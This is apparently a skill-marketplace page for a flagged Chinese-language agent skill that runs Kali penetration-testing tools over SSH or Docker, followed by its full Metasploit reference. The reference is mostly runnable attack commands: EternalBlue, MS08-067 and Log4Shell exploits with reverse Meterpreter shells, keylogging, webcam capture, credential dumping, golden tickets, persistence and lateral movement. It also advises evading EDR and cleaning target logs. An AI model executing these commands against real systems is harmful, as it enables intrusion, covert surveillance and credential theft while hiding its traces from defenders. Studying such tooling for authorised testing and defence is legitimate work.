Skip to content

x-glacier/kali-pentest / kali-pentest-zh

kali-pentest-zh

Flagged

通过 SSH 或 Docker 使用 Kali Linux CLI 工具执行授权渗透测试。 覆盖:信息收集、漏洞分析、嗅探与欺骗、Web/API 渗透、漏洞利用、密码攻击、无线、云原生安全、RFID/NFC、VoIP/ICS、逆向工程、取证分析、后渗透/C2、报告生成。

FileKindSize
SKILL.mdskill md15.6 KB
references/cloud-native/README.mdmarkdown4.2 KB
references/cloud-native/tools/azurehound.mdmarkdown4.0 KB
references/cloud-native/tools/docker-bench-security.mdmarkdown1.9 KB
references/cloud-native/tools/kube-bench.mdmarkdown1.7 KB
references/cloud-native/tools/kubescape.mdmarkdown1.7 KB
references/cloud-native/tools/pacu.mdmarkdown3.0 KB
references/cloud-native/tools/peirates.mdmarkdown6.4 KB
references/cloud-native/tools/prowler.mdmarkdown1.5 KB
references/cloud-native/tools/scoutsuite.mdmarkdown1.2 KB
references/environment/README.mdmarkdown1.4 KB
references/environment/docker-mode-networking.mdmarkdown2.2 KB
references/environment/docker-mode-persistent-container.mdmarkdown3.8 KB
references/environment/docker-mode.mdmarkdown2.0 KB
references/environment/local-mode.mdmarkdown946 B
references/environment/server-mode.mdmarkdown4.1 KB
references/environment/state-files.mdmarkdown2.3 KB
references/exploitation/README.mdmarkdown9.6 KB
references/exploitation/tools/chisel.mdmarkdown3.2 KB
references/exploitation/tools/coercer.mdmarkdown2.5 KB
references/exploitation/tools/dns2tcp.mdmarkdown3.8 KB
references/exploitation/tools/evil-winrm.mdmarkdown2.9 KB
references/exploitation/tools/evilginx2.mdmarkdown2.2 KB
references/exploitation/tools/getsploit.mdmarkdown2.0 KB
references/exploitation/tools/gophish.mdmarkdown6.1 KB
references/exploitation/tools/impacket.mdmarkdown10.9 KB
references/exploitation/tools/iodine.mdmarkdown3.5 KB
references/exploitation/tools/ligolo-ng.mdmarkdown3.3 KB
references/exploitation/tools/metasploit.mdmarkdown11.0 KB
references/exploitation/tools/mitm6.mdmarkdown2.6 KB
references/exploitation/tools/msfconsole.mdmarkdown3.9 KB
references/exploitation/tools/msfvenom.mdmarkdown8.5 KB
references/exploitation/tools/mssqlpwner.mdmarkdown2.5 KB
references/exploitation/tools/netcat.mdmarkdown4.4 KB
references/exploitation/tools/odat.mdmarkdown3.0 KB
references/exploitation/tools/proxytunnel.mdmarkdown2.2 KB
references/exploitation/tools/routersploit.mdmarkdown2.9 KB
references/exploitation/tools/searchsploit.mdmarkdown4.7 KB
references/exploitation/tools/setoolkit.mdmarkdown1015 B
references/exploitation/tools/smbclient.mdmarkdown2.8 KB
references/exploitation/tools/socat.mdmarkdown2.8 KB
references/exploitation/tools/veil.mdmarkdown2.9 KB
references/forensics/README.mdmarkdown8.8 KB
references/forensics/tools/bulk-extractor.mdmarkdown4.5 KB
references/forensics/tools/chainsaw.mdmarkdown2.6 KB
references/forensics/tools/chkrootkit.mdmarkdown2.6 KB
references/forensics/tools/dc3dd.mdmarkdown2.9 KB
references/forensics/tools/dcfldd.mdmarkdown3.2 KB
references/forensics/tools/ddrescue.mdmarkdown3.6 KB
references/forensics/tools/exiftool.mdmarkdown2.5 KB
references/forensics/tools/foremost.mdmarkdown2.4 KB
references/forensics/tools/hashdeep.mdmarkdown3.5 KB
references/forensics/tools/plaso.mdmarkdown3.7 KB
references/forensics/tools/regripper.mdmarkdown3.4 KB
references/forensics/tools/rkhunter.mdmarkdown3.4 KB
references/forensics/tools/scalpel.mdmarkdown2.6 KB
references/forensics/tools/sleuthkit.mdmarkdown4.0 KB
references/forensics/tools/ssdeep.mdmarkdown3.1 KB
references/forensics/tools/steghide.mdmarkdown2.8 KB
references/forensics/tools/stegseek.mdmarkdown2.5 KB
references/forensics/tools/tcpdump.mdmarkdown2.8 KB
references/forensics/tools/tcpflow.mdmarkdown3.4 KB
references/forensics/tools/testdisk.mdmarkdown3.0 KB
references/forensics/tools/tshark.mdmarkdown3.0 KB
references/forensics/tools/volatility.mdmarkdown5.0 KB
references/forensics/tools/yara.mdmarkdown3.3 KB
references/information-gathering/README.mdmarkdown15.6 KB
references/information-gathering/tools/altdns.mdmarkdown1.9 KB
references/information-gathering/tools/amass.mdmarkdown9.1 KB
references/information-gathering/tools/arp-scan.mdmarkdown1.9 KB
references/information-gathering/tools/assetfinder.mdmarkdown1.9 KB
references/information-gathering/tools/autorecon.mdmarkdown2.9 KB
references/information-gathering/tools/certgraph.mdmarkdown3.3 KB
references/information-gathering/tools/cloud-enum.mdmarkdown2.1 KB
references/information-gathering/tools/cloudbrute.mdmarkdown2.1 KB
references/information-gathering/tools/dig.mdmarkdown2.3 KB
references/information-gathering/tools/dmitry.mdmarkdown2.0 KB
references/information-gathering/tools/dnsenum.mdmarkdown1.7 KB
references/information-gathering/tools/dnsgen.mdmarkdown1.5 KB
references/information-gathering/tools/dnsmap.mdmarkdown1.8 KB
references/information-gathering/tools/dnsrecon.mdmarkdown2.7 KB
references/information-gathering/tools/dnstwist.mdmarkdown3.0 KB
references/information-gathering/tools/dnsx.mdmarkdown2.8 KB
references/information-gathering/tools/eyewitness.mdmarkdown2.4 KB
references/information-gathering/tools/fierce.mdmarkdown2.5 KB
references/information-gathering/tools/finalrecon.mdmarkdown2.4 KB
references/information-gathering/tools/findomain.mdmarkdown2.5 KB
references/information-gathering/tools/fping.mdmarkdown2.3 KB
references/information-gathering/tools/getallurls.mdmarkdown2.4 KB
references/information-gathering/tools/gowitness.mdmarkdown4.8 KB
references/information-gathering/tools/h8mail.mdmarkdown3.9 KB
references/information-gathering/tools/hakrawler.mdmarkdown2.3 KB
references/information-gathering/tools/hosthunter.mdmarkdown2.6 KB
references/information-gathering/tools/httprobe.mdmarkdown2.1 KB
references/information-gathering/tools/httpx.mdmarkdown4.6 KB
references/information-gathering/tools/ldeep.mdmarkdown4.9 KB
references/information-gathering/tools/masscan.mdmarkdown3.8 KB
references/information-gathering/tools/massdns.mdmarkdown1.9 KB
references/information-gathering/tools/metagoofil.mdmarkdown3.0 KB
references/information-gathering/tools/naabu.mdmarkdown2.7 KB
references/information-gathering/tools/nbtscan.mdmarkdown2.2 KB
references/information-gathering/tools/netdiscover.mdmarkdown2.6 KB
references/information-gathering/tools/nmap.mdmarkdown8.4 KB
references/information-gathering/tools/p0f.mdmarkdown2.1 KB
references/information-gathering/tools/recon-ng.mdmarkdown6.6 KB
references/information-gathering/tools/sherlock.mdmarkdown3.7 KB
references/information-gathering/tools/shodan.mdmarkdown3.6 KB
references/information-gathering/tools/spiderfoot.mdmarkdown2.7 KB
references/information-gathering/tools/subfinder.mdmarkdown2.5 KB
references/information-gathering/tools/sublist3r.mdmarkdown1.9 KB
references/information-gathering/tools/theHarvester.mdmarkdown2.9 KB
references/information-gathering/tools/trufflehog.mdmarkdown3.1 KB
references/information-gathering/tools/wafw00f.mdmarkdown1.9 KB
references/information-gathering/tools/whatweb.mdmarkdown5.1 KB
references/information-gathering/tools/whois.mdmarkdown2.0 KB
references/password/README.mdmarkdown11.8 KB
references/password/tools/brutespray.mdmarkdown2.8 KB
references/password/tools/cewl.mdmarkdown2.1 KB
references/password/tools/changeme.mdmarkdown3.0 KB
references/password/tools/chntpw.mdmarkdown2.5 KB
references/password/tools/crowbar.mdmarkdown2.6 KB
references/password/tools/crunch.mdmarkdown2.7 KB
references/password/tools/fcrackzip.mdmarkdown2.3 KB
references/password/tools/gpp-decrypt.mdmarkdown2.6 KB
references/password/tools/hashcat.mdmarkdown4.6 KB
references/password/tools/hashid.mdmarkdown2.1 KB
references/password/tools/hydra.mdmarkdown4.4 KB
references/password/tools/john.mdmarkdown3.2 KB
references/password/tools/kerbrute.mdmarkdown2.8 KB
references/password/tools/medusa.mdmarkdown3.3 KB
references/password/tools/name-that-hash.mdmarkdown3.2 KB
references/password/tools/ncrack.mdmarkdown3.3 KB
references/password/tools/netexec.mdmarkdown3.2 KB
references/password/tools/patator.mdmarkdown2.2 KB
references/password/tools/pdfcrack.mdmarkdown2.9 KB
references/password/tools/rainbowcrack.mdmarkdown2.9 KB
references/password/tools/responder.mdmarkdown2.7 KB
references/playbooks/README.mdmarkdown8.1 KB
references/playbooks/active-directory.mdmarkdown14.0 KB
references/playbooks/api-security.mdmarkdown18.6 KB
references/playbooks/cloud-native-assessment.mdmarkdown17.6 KB
references/playbooks/external-attack-surface.mdmarkdown8.1 KB
references/playbooks/forensics-triage.mdmarkdown11.7 KB
references/playbooks/internal-network-protocols.mdmarkdown6.5 KB
references/playbooks/internal-network.mdmarkdown14.4 KB
references/playbooks/mobile-application.mdmarkdown9.8 KB
references/playbooks/password-audit.mdmarkdown9.0 KB
references/playbooks/post-exploitation.mdmarkdown11.4 KB
references/playbooks/reporting-workflow.mdmarkdown6.3 KB
references/playbooks/rfid-nfc.mdmarkdown7.2 KB
references/playbooks/source-code-audit.mdmarkdown8.4 KB
references/playbooks/voip-ics.mdmarkdown17.3 KB
references/playbooks/web-application.mdmarkdown14.7 KB
references/playbooks/wireless-assessment.mdmarkdown9.6 KB
references/post-exploitation/README.mdmarkdown11.0 KB
references/post-exploitation/tools/bloodhound.mdmarkdown4.8 KB
references/post-exploitation/tools/bloodhound.py.mdmarkdown4.0 KB
references/post-exploitation/tools/bloodyad.mdmarkdown4.1 KB
references/post-exploitation/tools/certipy-ad.mdmarkdown3.2 KB
references/post-exploitation/tools/dnscat2.mdmarkdown3.5 KB
references/post-exploitation/tools/dploot.mdmarkdown4.2 KB
references/post-exploitation/tools/havoc.mdmarkdown3.8 KB
references/post-exploitation/tools/hekatomb.mdmarkdown3.0 KB
references/post-exploitation/tools/krbrelayx.mdmarkdown7.3 KB
references/post-exploitation/tools/lapsdumper.mdmarkdown2.4 KB
references/post-exploitation/tools/linpeas.mdmarkdown3.6 KB
references/post-exploitation/tools/linux-exploit-suggester.mdmarkdown2.8 KB
references/post-exploitation/tools/lsassy.mdmarkdown2.8 KB
references/post-exploitation/tools/mimikatz.mdmarkdown4.2 KB
references/post-exploitation/tools/powershell-empire.mdmarkdown4.0 KB
references/post-exploitation/tools/powersploit.mdmarkdown5.5 KB
references/post-exploitation/tools/proxychains.mdmarkdown2.1 KB
references/post-exploitation/tools/pspy.mdmarkdown2.8 KB
references/post-exploitation/tools/pwncat.mdmarkdown6.4 KB
references/post-exploitation/tools/sliver.mdmarkdown1.4 KB
references/post-exploitation/tools/sshuttle.mdmarkdown3.2 KB
references/post-exploitation/tools/winpeas.mdmarkdown3.0 KB
references/reporting/README.mdmarkdown2.5 KB
references/reporting/tools/pandoc.mdmarkdown3.2 KB
references/reporting/tools/report-template.mdmarkdown8.5 KB
references/reverse-engineering/README.mdmarkdown5.6 KB
references/reverse-engineering/tools/apktool.mdmarkdown1.8 KB
references/reverse-engineering/tools/binwalk.mdmarkdown3.0 KB
references/reverse-engineering/tools/checksec.mdmarkdown3.5 KB
references/reverse-engineering/tools/dex2jar.mdmarkdown3.2 KB
references/reverse-engineering/tools/frida.mdmarkdown2.4 KB
references/reverse-engineering/tools/ghidra-headless.mdmarkdown3.0 KB
references/reverse-engineering/tools/jadx.mdmarkdown2.2 KB
references/reverse-engineering/tools/ldd.mdmarkdown1.9 KB
references/reverse-engineering/tools/nm.mdmarkdown2.3 KB
references/reverse-engineering/tools/objdump.mdmarkdown2.5 KB
references/reverse-engineering/tools/objection.mdmarkdown3.0 KB
references/reverse-engineering/tools/rabin2.mdmarkdown2.3 KB
references/reverse-engineering/tools/radare2.mdmarkdown1.3 KB
references/reverse-engineering/tools/readelf.mdmarkdown2.3 KB
references/reverse-engineering/tools/ropper.mdmarkdown4.1 KB
references/reverse-engineering/tools/strings.mdmarkdown2.3 KB
references/reverse-engineering/tools/xxd.mdmarkdown2.3 KB
references/rfid-nfc/README.mdmarkdown2.7 KB
references/rfid-nfc/tools/libnfc.mdmarkdown2.2 KB

references/exploitation/tools/metasploit.md

View on GitHub
# Metasploit Framework

- **Category**: Exploitation
- **Risk Level**: 🔴 Critical

---

## 描述

Metasploit Framework(MSF)是世界上最广泛使用的渗透测试框架,由 Rapid7 维护。它提供了一个完整的漏洞利用开发环境,包含 2000+ 个漏洞利用模块、500+ 个辅助模块、300+ 个 payload,支持从信息收集到后渗透的完整攻击链。

核心组件:
- **msfconsole**: 主要交互界面
- **msfvenom**: payload 生成器
- **msfdb**: PostgreSQL 数据库集成
- **Meterpreter**: 高级内存驻留 payload

## 安装

```bash
apt install metasploit-framework

# 启动前初始化数据库
msfdb init

# 更新 Metasploit
apt update && apt install metasploit-framework

# 通过官方安装脚本安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && ./msfinstall
# 注意:msfupdate.erb 是一个包装脚本安装器,并非源码编译
```

## 参数说明

| 参数 | 说明 |
|-------------|------|
| `msfconsole -q` | 不显示 banner 启动 |
| `msfconsole -r <file.rc>` | 执行资源脚本 |
| `RHOSTS` / `RPORT` | 目标主机和目标端口 |
| `LHOST` / `LPORT` | 反连 payload 的监听主机和端口 |

msfconsole 内部命令(`search`、`set`、`use`、`run`、`sessions` 等)见下方[基础命令表](#基础命令表)。

## 常用命令

### msfconsole 核心操作

#### 启动与基础命令

```bash
# 启动(带数据库)
msfdb run

# 或直接启动
msfconsole
msfconsole -q          # 安静模式,不显示 banner
msfconsole -r file.rc  # 执行资源脚本
```

#### 基础命令表

| 命令 | 说明 |
|------|------|
| `help` / `?` | 显示帮助 |
| `search <keyword>` | 搜索模块 |
| `use <module path>` | 加载模块 |
| `info` | 显示当前模块信息 |
| `show options` | 显示模块参数 |
| `show payloads` | 显示兼容 Payload |
| `show targets` | 显示支持的目标系统 |
| `set <option> <value>` | 设置参数 |
| `setg <option> <value>` | 设置全局参数 |
| `unset <option>` | 清除参数 |
| `run` / `exploit` | 执行模块 |
| `back` | 退出当前模块 |
| `sessions` | 管理会话 |
| `sessions -i <ID>` | 进入会话 |
| `jobs` | 查看后台任务 |
| `background` | 将会话放入后台 |
| `exit` | 退出 |

#### 搜索模块

```bash
# 按关键词搜索
search eternalblue
search type:exploit name:smb
search platform:windows type:auxiliary

# 搜索 CVE
search cve:2017-0144
search cve:2021-44228  # Log4Shell

# 按评分搜索(rank)
search rank:excellent type:exploit platform:linux
```

#### 模块类型

| 类型 | 说明 |
|------|------|
| `exploit/` | 漏洞利用模块 |
| `auxiliary/` | 辅助模块(扫描、枚举、DoS等)|
| `post/` | 后渗透模块 |
| `payload/` | Payload 模块 |
| `encoder/` | 编码器 |
| `nop/` | NOP 生成器 |
| `evasion/` | 免杀模块 |

### 常用漏洞利用流程

#### EternalBlue(MS17-010,SMB 漏洞)

```bash
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
show options
exploit
```

#### MS08-067(Windows XP/Server 2003 SMB)

```bash
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.100
set TARGET 0          # 自动检测
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit
```

#### 漏洞扫描(辅助模块)

```bash
# SMB 漏洞检测
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
set THREADS 10
run

# 端口扫描
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.1.0/24
set PORTS 22,80,443,445,3389
set THREADS 50
run

# SSH 版本探测
use auxiliary/scanner/ssh/ssh_version
set RHOSTS 192.168.1.0/24
run
```

#### Web 漏洞利用

```bash
# Apache Struts(CVE-2017-5638)
use exploit/multi/http/struts2_content_type_ognl
set RHOSTS 192.168.1.100
set TARGETURI /struts2-showcase/
set PAYLOAD linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
exploit

# Log4Shell(CVE-2021-44228)
use exploit/multi/http/log4shell_header_injection
set RHOSTS 192.168.1.100
set RPORT 8080
set LHOST 192.168.1.50
exploit
```

#### 处理器(Handler)监听

```bash
# 启动监听器等待反向连接
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
set ExitOnSession false   # 持续监听多个连接
exploit -j               # 作为后台任务运行
```

### Meterpreter 完整命令参考

#### 系统信息与导航

```bash
sysinfo              # 系统信息(OS、主机名、架构等)
getuid               # 当前用户
getpid               # 当前进程 ID
getenv PATH          # 获取环境变量
pwd                  # 当前目录
ls                   # 列出文件
cd /tmp              # 切换目录
cat /etc/passwd      # 读取文件
```

#### 文件操作

```bash
upload /local/file /remote/path      # 上传文件
download /remote/file /local/path    # 下载文件
mkdir /tmp/test                      # 创建目录
rm /tmp/file                         # 删除文件
search -f *.txt -d C:\\Users         # 搜索文件
edit /tmp/file                       # 编辑文件(vi)
```

#### 权限提升

```bash
getsystem                    # 尝试提升到 SYSTEM 权限
getprivs                     # 列出当前权限
getsystem -t 1               # 方法1:通过 cmd.exe 的命名管道假冒(需要 SeImpersonatePrivilege)
getsystem -t 2               # 方法2:通过 dropper 的命名管道假冒(写入磁盘)
getsystem -t 3               # 方法3:令牌复制(需要 SeDebugPrivilege)

# 本地提权模块
background
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
```

#### 进程操作

```bash
ps                           # 列出进程
kill 1234                    # 终止进程
migrate 1234                 # 迁移到指定进程(躲避检测)
execute -f cmd.exe -i        # 执行命令(交互式)
execute -H -f notepad.exe    # 隐藏执行
pgrep explorer.exe           # 按名查找进程 PID
```

#### 网络操作

```bash
ipconfig                     # 网络接口信息
arp                          # ARP 缓存
netstat                      # 网络连接
route add 10.0.0.0 255.255.255.0 192.168.1.1  # 添加路由
portfwd add -l 4444 -p 3389 -r 192.168.1.100  # 端口转发
portfwd list                 # 查看端口转发
```

#### 信息收集(后渗透)

```bash
# 截图
screenshot

# 摄像头
webcam_list              # 列出摄像头
webcam_snap              # 拍照
webcam_stream            # 视频流

# 键盘记录
keyscan_start            # 开始记录
keyscan_dump             # 导出记录
keyscan_stop             # 停止记录

# 剪贴板
clipboard_get_data       # 获取剪贴板内容
```

#### 凭据提取

```bash
# 内存中抓取密码(需要 SYSTEM 权限)
hashdump                         # 提取 SAM 哈希
run post/windows/gather/hashdump

# Kiwi(Mimikatz 集成)
load kiwi
creds_all                        # 获取所有凭据
lsa_dump_sam                     # 导出 SAM 数据库
lsa_dump_secrets                 # 导出 LSA Secrets
golden_ticket_create -u user -k krbtgt_hash -d domain.com -s DOMAIN_SID -t /tmp/ticket.kirbi
# 注意:-s(域 SID)是 golden_ticket_create 的必需参数
```

#### 持久化

```bash
# 运行持久化模块
run post/windows/manage/persistence_exe

# 使用 persistence 脚本(旧版)
run persistence -h               # 帮助
run persistence -U -i 60 -p 4444 -r 192.168.1.50  # 用户登录时启动

# 服务持久化
run post/windows/manage/sticky_keys
```

#### 跳板与横向移动

```bash
# 路由(Pivoting)
background
route add 10.0.0.0/24 1         # 通过 Session 1 路由
route print

# Socks 代理
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run -j

# 横向移动
use exploit/windows/smb/psexec
set RHOSTS 10.0.0.100
set SMBUser administrator
set SMBPass password
set PAYLOAD windows/x64/meterpreter/bind_tcp
exploit
```

#### 常用后渗透模块

```bash
# 系统信息收集
run post/multi/recon/local_exploit_suggester    # 本地提权建议
run post/windows/gather/checkvm                 # 虚拟机检测
run post/multi/gather/env                       # 环境变量
run post/windows/gather/enum_logged_on_users    # 已登录用户

# Windows 信息收集
run post/windows/gather/enum_applications       # 已安装软件
run post/windows/gather/enum_patches            # 已安装补丁
run post/windows/gather/credentials/credential_collector  # 凭据收集

# 网络枚举
run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24   # Ping 扫描
run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24

# Active Directory
run post/windows/gather/enum_domain
run post/windows/gather/enum_ad_users
run post/windows/gather/enum_ad_computers
```

### 数据库操作(workspace)

```bash
# 初始化数据库
msfdb init
msfdb status

# 工作区管理
workspace                    # 显示工作区
workspace -a test_project    # 创建工作区
workspace test_project       # 切换工作区
workspace -d test_project    # 删除工作区

# 主机管理
hosts                        # 显示已发现主机
hosts -R                     # 将所有主机设为 RHOSTS
services                     # 显示已发现服务
services -p 80               # 过滤端口 80
creds                        # 显示收集的凭据
loot                         # 显示收集的数据
vulns                        # 显示发现的漏洞

# 导入 Nmap 扫描结果
db_import /tmp/nmap_scan.xml
db_nmap -sV -p- 192.168.1.0/24   # 直接用 Nmap 扫描并存库
```

### 资源脚本(.rc 文件)

```bash
# 创建自动化脚本
cat > /tmp/auto_exploit.rc << 'EOF'
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set LHOST 192.168.1.50
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit -j
EOF

# 执行脚本
msfconsole -r /tmp/auto_exploit.rc

# 在 msfconsole 内执行
makerc /tmp/my_session.rc    # 保存当前命令历史为脚本
resource /tmp/auto_exploit.rc
```

## 注意事项

1. **始终获授权**:Metasploit 仅用于授权的渗透测试,未经授权使用是违法行为。
2. **版本更新**:在 Kali 上运行 `apt update && apt install metasploit-framework` 进行更新;`msfupdate` 是旧版命令(在 Kali 中已废弃,请使用 apt)。
3. **会话管理**:使用 `sessions -l` 列出所有会话,大型测试中注意跟踪多个会话。
4. **规避检测**:使用 `evasion/` 模块或编码器提高免杀率,避免触发 EDR。
5. **日志清理**:测试完成后清理目标日志(需要对应权限)。
6. **数据库**:始终使用 `msfdb run` 启动以保持测试数据持久化。
7. **性能优化**:扫描时合理设置 `THREADS` 值,避免网络拥塞或触发 IDS。
8. **Meterpreter 稳定性**:迁移到稳定进程(如 explorer.exe)以保持连接。

---

## 官方参考

- [Metasploit 文档](https://docs.metasploit.com/)
- [Metasploit Framework GitHub](https://github.com/rapid7/metasploit-framework)
- [Rapid7 漏洞数据库](https://www.rapid7.com/db/)
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 472kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 194kUpdated Claude CodeCodexVerifiedInstall